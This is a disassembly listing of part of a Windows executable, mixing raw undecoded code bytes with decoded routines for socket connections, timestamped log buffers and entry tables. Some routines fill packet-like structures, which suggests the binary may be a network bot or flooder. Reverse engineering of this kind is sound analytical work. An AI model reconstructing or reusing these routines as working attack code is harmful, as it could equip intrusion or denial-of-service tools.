		dd 66D0E8F0h, 5959FFFFh, 71E89056h, 55022DBAh, 0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270B0h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0BA5415FFh, 4589004Ch, 50D6FFF8h
		dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h
		dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 0B741E800h, 2B900228h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CF1801Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 6ED0h, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CB978h, 0FF68h, 0E8016A00h,	3B11h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D90468h
		dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh,	6068FFFFh
		dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CBA14h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CB9D4h, 0AE458966h, 7199E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h,	66000071h
		dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h
		dd 7155E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 0C55CE890h, 89667169h, 0FFFF5E85h,	60858DFFh
		dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA3815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0BA6C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_41525A	dw 8B55h		; DATA XREF: sub_401ACD+4B97o
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	437C8Ch, 6FB4E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h,	0C483FFFFh
		dd 0E8006A14h, 22DB7B0h, 0EC8B5590h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA5415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E7Ch, 6F60E850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9B4h, 75FFF883h, 6815FF0Eh
		dd 50004CB9h, 437E2C68h, 8D1BEB00h, 0FF500C45h,	4CBA1415h
		dd 0FFF88300h, 15FF2075h, 4CB968h, 7DE86850h, 858D0043h
		dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 0D415FF00h, 66004CB9h, 8DDE4589h, 90500C45h
		dd 69BF73E8h, 0B0358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 7DBC68FFh, 0E8500043h, 6EBEh
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CF1803Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CB978h, 0E8016A53h, 3795h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D90468ACh
		dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB6068h
		dd 21E85000h, 59000074h, 5C65659h, 4CED60h, 0D415FF45h
		dd 66004CB9h, 4CED62A3h, 0AC458D00h, 5C76650h, 4CED64h
		dd 89660001h, 4CED663Dh, 6805C600h, 80004CEDh, 0ED6905C6h
		dd 6611004Ch, 0ED6A3D89h, 15FF004Ch, 4CBA14h, 4CED6CA3h
		dd 0E0458B00h, 4CED70A3h, 8C858D00h, 50000000h,	7A3D8966h
		dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6C64E8h, 0FF505900h
		dd 4CB9D415h, 76A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CED74h, 0B9D415FFh, 68004Ch
		dd 66000004h, 4CED78A3h, 6D90E800h, 0F7990000h,	7C6852FBh
		dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CED60h, 0FFF475FFh,	4CBA3815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0B245E8FCh, 2B900228h, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 6C15FFF4h, 8B004CBAh,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6BADh, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D5868h
		dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CB96815h, 458D5000h, 0CC68500Ch, 0EB00437Ch
		db 0ACh
byte_41561D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6283o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h
		dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CBA1415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 7EA868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh
		dd 67AE850h, 75FF0000h,	6010E8F0h, 5959FFFFh, 0B1E89056h
		dd 5F022DB3h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_4156FA
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_4157B6
; ---------------------------------------------------------------------------


loc_4156FA:				; CODE XREF: ___:004156E4j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		call	near ptr 71AB155Ah
		nop
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB97C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB9BC
		test	eax, eax
		jnz	short loc_41575E
		or	eax, 0FFFFFFFFh
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_41575E:				; CODE XREF: ___:00415757j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_415769


loc_415765:				; CODE XREF: ___:00415789j
					; ___:004157ADj
		mov	eax, edi
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_415769:				; CODE XREF: ___:00415763j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41578B
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_415765


loc_41578B:				; CODE XREF: ___:00415778j
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	near ptr 71AB4122h
		nop
		cmp	eax, edi
		jz	short loc_415765
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_4157B6:				; CODE XREF: ___:004156F5j
					; ___:0041575Cj ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0221h,	6AEC4D8Dh
		dd 26A5104h, 0F0A35053h, 0FF004CF1h, 4CB9B415h,	0B0358B00h
		dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0D415FF50h
		dd 53004CB9h, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CBA5415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA6C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0F1F4BF83h, 0C068004Ch, 570042CDh, 68D9E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 0D4685750h, 5700437Eh, 0E8F04589h, 689Ah
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h
		dd 4CB9D415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CF190h, 656BE8h, 0FFFFBE00h
		dd 5C60000h, 4CF190h, 685645h, 0C6000004h, 4CF19905h, 5C60600h
		dd 4CF191h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9D4h
		dd 0A366286Ah, 4CF194h,	0B9D415FFh, 0D80004Ch, 4CF198h
		dd 801D39FFh, 66004CF1h, 4CF192A3h, 1D896600h, 4CF196h
		dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CEB6068h, 1415FF00h,	0A3004CBAh
		dd 4CF19Ch, 6808458Bh, 4000h, 4CF1A0A3h, 0B11D8800h, 0FF004CF1h
		dd 4CB9D415h, 66535600h, 4CF1B2A3h, 3123E800h, 0F88B0000h
		dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9D015FFh
		dd 0A8A3004Ch, 0A0004CF1h, 4CF1B0h, 24087D8Bh, 6A500C0Fh
		dd 0F1B0A214h, 8B66004Ch, 1D89F045h, 4CF1ACh, 0B61D8966h
		dd 66004CF1h, 4CF1A6A3h, 0CC3D8900h, 88004CF1h,	4CF1D01Dh
		dd 0D105C600h, 6004CF1h, 0B9D415FFh, 0A366004Ch, 4CF1D2h
		dd 0F1A6A166h, 0C766004Ch, 4CF1B805h, 89000200h, 4CF1BC3Dh
		dd 0BAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 308CE8h, 50595900h, 0B9D415FFh, 0A366004Ch
		dd 4CF1A4h, 4CF19CA1h, 0F1C8A300h, 5C6004Ch, 4CF1B1h, 0AC1D8902h
		dd 0EB004CF1h, 0C653561Fh, 4CF1B105h, 56E81000h, 59000030h
		dd 15FF5059h, 4CB9D4h, 0A3C0B70Fh, 4CF1ACh, 9405FF66h
		dd 0FF004CF1h, 4CF1A805h, 0A6A16600h, 6A004CF1h, 0A4BE5905h
		dd 0BF004CF1h, 4CF1D4h,	9A1D8966h, 66004CF1h, 0F1B41D89h
		dd 146A004Ch, 90BEA5F3h, 66004CF1h, 4CF1BAA3h, 90E85600h
		dd 6AFFFF4Eh, 0F1C86820h, 0A366004Ch, 4CF19Ah, 0FF4E7EE8h
		dd 10C483FFh, 0F1B4A366h, 106A004Ch, 4CF1B868h,	286A5300h
		dd 0F035FF56h, 0FF004CF1h, 4CBA3815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 98E890FFh, 2B0228ABh,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 226B2C8h
		dd 0FDC2E990h, 5E5FFFFFh, 4CF1F4B8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C40	proc near		; CODE XREF: sub_401ACD+7111p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43DB90
		mov	edi, 0B8h


loc_415C54:				; CODE XREF: sub_415C40+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415C77
		push	[ebp+arg_0]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415C77
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E710
		jl	short loc_415C54
		jmp	short loc_415CB9
; ---------------------------------------------------------------------------


loc_415C77:				; CODE XREF: sub_415C40+17j
					; sub_415C40+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43DB90[esi]
		push	ebx
		call	sub_41BF70
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BFD0
		push	9Fh
		lea	eax, dword_43DBA8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BFD0
		add	esp, 24h
		inc	dword_4294CC
		pop	ebx


loc_415CB9:				; CODE XREF: sub_415C40+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415C40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CC0	proc near		; CODE XREF: sub_401ACD+289Ap

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_437EF0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43DB90


loc_415CEA:				; CODE XREF: sub_415CC0+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415D25
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_437EDC
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C360
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch


loc_415D25:				; CODE XREF: sub_415CC0+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E710
		jl	short loc_415CEA
		pop	edi
		pop	esi
		leave
		retn
sub_415CC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D38	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	near ptr 27B0791h
		nop
		mov	ebx, offset dword_4D35F4
		mov	edi, 80h
		mov	esi, offset dword_4CF5F4


loc_415D5A:				; CODE XREF: sub_415D38+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415D71
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_415D71:				; CODE XREF: sub_415D38+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415D5A
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415D38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DAC	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_408967p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41CB70
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415D38
		add	esp, 14h
		leave
		retn
sub_415DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DD8	proc near		; CODE XREF: sub_401ACD+278Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF5F4
		xor	ecx, ecx


loc_415DDF:				; CODE XREF: sub_415DD8+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D35F4
		jl	short loc_415DDF
		cmp	[esp+arg_C], ecx
		jnz	short loc_415E0D
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_437F3C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409869
		add	esp, 14h


loc_415E0D:				; CODE XREF: sub_415DD8+19j
		push	offset dword_437F28
		call	sub_415D38
		pop	ecx
		retn
sub_415DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E19	proc near		; CODE XREF: ___:0040E1FFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_4CF5F4


loc_415E1F:				; CODE XREF: sub_415E19+27j
		cmp	byte ptr [esi],	0
		jz	short loc_415E34
		push	[esp+4+arg_0]
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415E46


loc_415E34:				; CODE XREF: sub_415E19+9j
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415E1F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415E46:				; CODE XREF: sub_415E19+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_415E19	endp

; ---------------------------------------------------------------------------
byte_415E4B	db 55h			; DATA XREF: sub_401ACD+2844o
; ---------------------------------------------------------------------------
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_415E9E
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_437F6C
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415E9E:				; CODE XREF: ___:00415E7Ej
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EBE
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415EBE
		mov	[ebp-8], eax


loc_415EBE:				; CODE XREF: ___:00415EA5j
					; ___:00415EB9j
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CF5F4


loc_415EC7:				; CODE XREF: ___:00415F1Fj
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415F21
		cmp	byte ptr [esi],	0
		jz	short loc_415F10
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EF6
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415EF6
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415F10


loc_415EF6:				; CODE XREF: ___:00415EDBj
					; ___:00415EE1j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F10:				; CODE XREF: ___:00415ED2j
					; ___:00415EF4j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415EC7


loc_415F21:				; CODE XREF: ___:00415ECDj
		lea	eax, [ebp-31Ch]
		push	offset dword_437F50
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_415F5B
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F5B:				; CODE XREF: ___:00415F39j
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------
		or	[ebx+5E5F022Dh], ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F7A	proc near		; CODE XREF: ___:0041661Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415FF6
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14
		cmp	eax, esi
		jnz	short loc_415FDB
		push	[ebp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jz	short loc_415FF6
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415FDB:				; CODE XREF: sub_415F7A+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, esi
		jnz	short loc_415FFA
		push	edi
		call	dword_4CBA6C


loc_415FF6:				; CODE XREF: sub_415F7A+1Bj
					; sub_415F7A+58j
		mov	eax, esi
		jmp	short loc_415FFC
; ---------------------------------------------------------------------------


loc_415FFA:				; CODE XREF: sub_415F7A+73j
		mov	eax, edi


loc_415FFC:				; CODE XREF: sub_415F7A+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415F7A	endp

; ---------------------------------------------------------------------------
dword_416000	dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh
					; DATA XREF: sub_401ACD+A02o
		dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
		dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
		dd 4C858D52h, 68FFFFEEh, 437FECh, 6214E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch
		dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh,	0EDE89056h
		dd 68022DA9h, 43DB88h, 4113E853h, 83590000h, 7559FFF8h
		dd 4C858D59h, 68FFFFEEh, 437FBCh, 61B0E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h,	0FFFFEE4Ch
		dd 0FC52E850h, 5359FFFFh, 0BA6C15FFh, 75FF004Ch, 55E0E8F0h
		dd 5659FFFFh, 0A982E890h, 646A022Dh, 26ADF3E8h,	0FF339002h
		dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh
		dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9EC15FFh, 0C085004Ch
		dd 858D387Eh, 0FFFFEE4Ch, 42A08068h, 5DE85000h,	8D000067h
		dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h
		dd 26AD9BE8h, 0A6A9002h, 0FF549DE8h, 59C085FFh,	858DA375h
		dd 0FFFFEE4Ch, 437F8868h, 0EBE85000h, 39000060h, 5959F87Dh
		dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
		dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh,	0FFFB8FE8h
		dd 0FF5359FFh, 4CBA6C15h, 0F075FF00h, 0FF551DE8h, 0E85759FFh
		dd 22DA8C0h
		db 90h
; ---------------------------------------------------------------------------


loc_4161C1:				; DATA XREF: sub_401ACD+7696o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_41620F
		push	offset unk_4380EC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41620F:				; CODE XREF: ___:00416203j
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
